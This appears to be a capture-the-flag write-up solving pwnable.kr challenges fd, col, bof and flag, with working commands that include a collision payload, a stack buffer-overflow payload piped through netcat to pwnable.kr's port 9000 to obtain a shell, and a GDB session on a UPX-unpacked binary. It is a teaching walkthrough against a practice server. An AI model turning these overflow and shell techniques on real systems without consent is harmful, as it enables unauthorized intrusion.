pwnable.kr #1-4
Update: this and following writeups are available at our team’s blog: born2scan.run
Due to the popularity of this CTF, the following writeup won’t include too much details about the material that’s readily available on the challenge’s server.
1. fd
Once logged in, there will be three files in the user’s home:
fd
, a binaryfd.c
, the source of that binaryflag
- nope, you can’t justcat flag
:)
The source of fd
tells us that it will open a file descriptor with number argv[1] - 0x1234
and, if it contains LETMEWIN\n
, it’ll show us the flag.
In Unix systems FDs are incremental, and the first three are defined as follows:
Index | Stream |
---|---|
0 | STDIN |
1 | STDOUT |
2 | STDERR |
Since fd.c
shows that it’ll be reading from an already open FD of its own process, a simple solution would be to pipe something into it: using the already available STDIN FD can be a good choice, but there’s a catch: fd
processes the FD number to read as atoi(argv[1]) - 0x1234
, so we need to account for that offset when specifying its 1st parameter.
0x1234 must be converted to decimal (it’ll be run through atoi
, so no hex allowed), and that gives us the complete command…
1 | echo "LETMEWIN" | ~/fd 4660 |
2. col
This challenge has a similar structure: a binary, its source and the flag file are given.
This time col.c
shows that the flag will be printed if the sum of the passcode given as an input equals to 0x21DD09EC
(568134124dec). It isn’t a standard ASCII sum, though: the argv[1]
char (1 byte) array gets casted to an int (4 bytes) array and a moving sum of the 5 first values will be done - hence the 20 bytes length specified in the inbuilt help.
Our passcode will need to be made of 5 integer blocks that sum up as the target value, so we can round up the target to the nearest multiple of 5 and the add back the remainder to the last block:
- target = 568134124
- remainder = 568134124 % 5 = 4
- val1 = (target - remainder) / 5
- val2 = val1 + remainder
- passcode = (val1 * 4) + val2 = (113626824 * 4) + 113626828
This will need to be converted to a byte array to ensure the correct length: 113626824dec⇀0x06C5CEC8hex & 113626828dec⇀0x06C5CECChex; lscpu | grep -i order
tells us that this system is little-endian, so our final payload will become…
1 | ~/col "$(printf '\xc8\xce\xc5\x06%.0s' {1..4})$(echo -e '\xcc\xce\xc5\x06')" |
3. bof
This time we’re directly provided with the downloadable source (and binary) of the program that’s running @ pwnable.kr:9000
; as its name implies we’ll have to use a buffer overflow to get the flag, so GDB will step into the game: gcc bof.c -m32 -g -o bof && gdb bof
.
Note 1: compiling for 32bit simplifies memory address space and the debug symbols flag could be considered cheating, but we’re provided the full source after all so why complicate the task further?
Note 2: I had wrongly compiled a PIE executable and the memory mapping changed when the program was run, so I had to use GDB’s starti
command to run it and stop at the first instruction. You can either use the -no-pie
flag when compiling the binary or avoid passing --enable-default-pie
when building GCC from source.
We’re interested in the func
function since it contains the comparison that we need to force true to get the flag: (gdb) list func
.
1 | void func(int key){ |
We want to target the key == 0xcafebabe
comparison, in which key
was previously defined in the code as 0xdeadbeef
; since it is referenced after gets()
fills the overflowme
buffer without a proper length check, we can use that to mangle memory and force the right side of the comparison to be equal to key
.
With (gdb) disas func
we can find the address of that comparison:
1 | Dump of assembler code for function func: |
Once we’ve found the address of the comparison, let’s inspect further:
- Set the breakpoint:
(gdb) break *0x0x5655620b
- Continue execution:
(gdb) c
- Feed some recognizable chars to the buffer (
!
is, for example, 0x41 in ASCII) - Check that we’re inspecting the right buffer:
p overflowme
- Inspect the memory as hex words:
x/16x overflowme
I’ve fed a bunch of !
s as input, so my memory will contain easily spottable 0x21
s - let’s view 16 hex words from the overflowme
variable on:
1 | (gdb) x/16x overflowme |
Here they are! Notice anything else? The 0xdeadbeef
key used for the comparison is located 13 words (13 * 4 bytes) after the start of the overflowme
buffer, let’s see if we can overwrite it. Note: Python helps us with quick strings manipulations, but v3 doesn’t handle hex strings as v2 did so I’ve used echo -e
as a quick & dirty workaround.
- In another shell use
python -c 'print("!"*4*13)'
to generate the input. - Rerun the program:
(gdb) r
- Paste the generated input and wait for the breakpoint to kick in.
- Inspect memory:
(gdb) x/16x overflowme
1 | (gdb) x/16x overflowme |
As expected, the null terminator of the string overflowed and was written over the last byte of the key (little endian system). Knowing this, we can craft a payload that will write the correct values onto that bytes and as such make the left side of the comparison equal to the expected right one.
(gdb) run <<< $(echo -e $(python -c "print('!'*4*13)")\\xbe\\xba\\xfe\\xca)
(gdb) x/16x overflowme
1 | (gdb) x/16x overflowme |
Et voilà! The comparison will now succeed. Let’s quit GDB and run the same payload over netcat - running it locally would give us a shell on our system since the program will spawn /bin/sh
.
- `echo -e $(python -c "print('!'*4*13)")\\xbe\\xba\\xfe\\xca | nc pwnable.kr 9000`
It seems that this does nothing, shell commands won’t give any output… That’s because the spawned process terminates immediately since STDIN does not get tied to it. A simple - yet obscure - workaround is using cat
to keep the pipe open:
- `(echo -e $(python -c "print('!'*4*13)")\\xbe\\xba\\xfe\\xca; cat -) | nc pwnable.kr 9000`
It won’t look like it but you are now effectively interacting with a shell:
1 | pwd # Check the working directory |
4. flag
We’re only given a seemingly ordinary binary to play with:
1 | > file ./flag |
It looks like we’ll have to look for a malloc
call in the code. GDB doesn’t show anything useful:
1 | > gdb ./flag |
Symbols must have been stripped, let’s see what a raw strings
analysis can yield:
1 | > strings ./flag |
In the sea of characters written to screen, a clear hint is found: this binary has been compressed with UPX! Running upx -l ./flag
indeed confirms it:
1 | > upx -l ./flag |
Unpacking is easy: upx -d ./flag
- Note: your file will be overwritten!
1 | > file ./flag |
Now GDB has something to work on:
1 | > gdb ./flag |
How nice of GDB, it even located the flag’s buffer for us. Let’s leverage that:
1 | gdb$ b *0x401184 |
A bit of poking around and we get the contents of the buffer right away:
1 | gdb$ p (int) flag |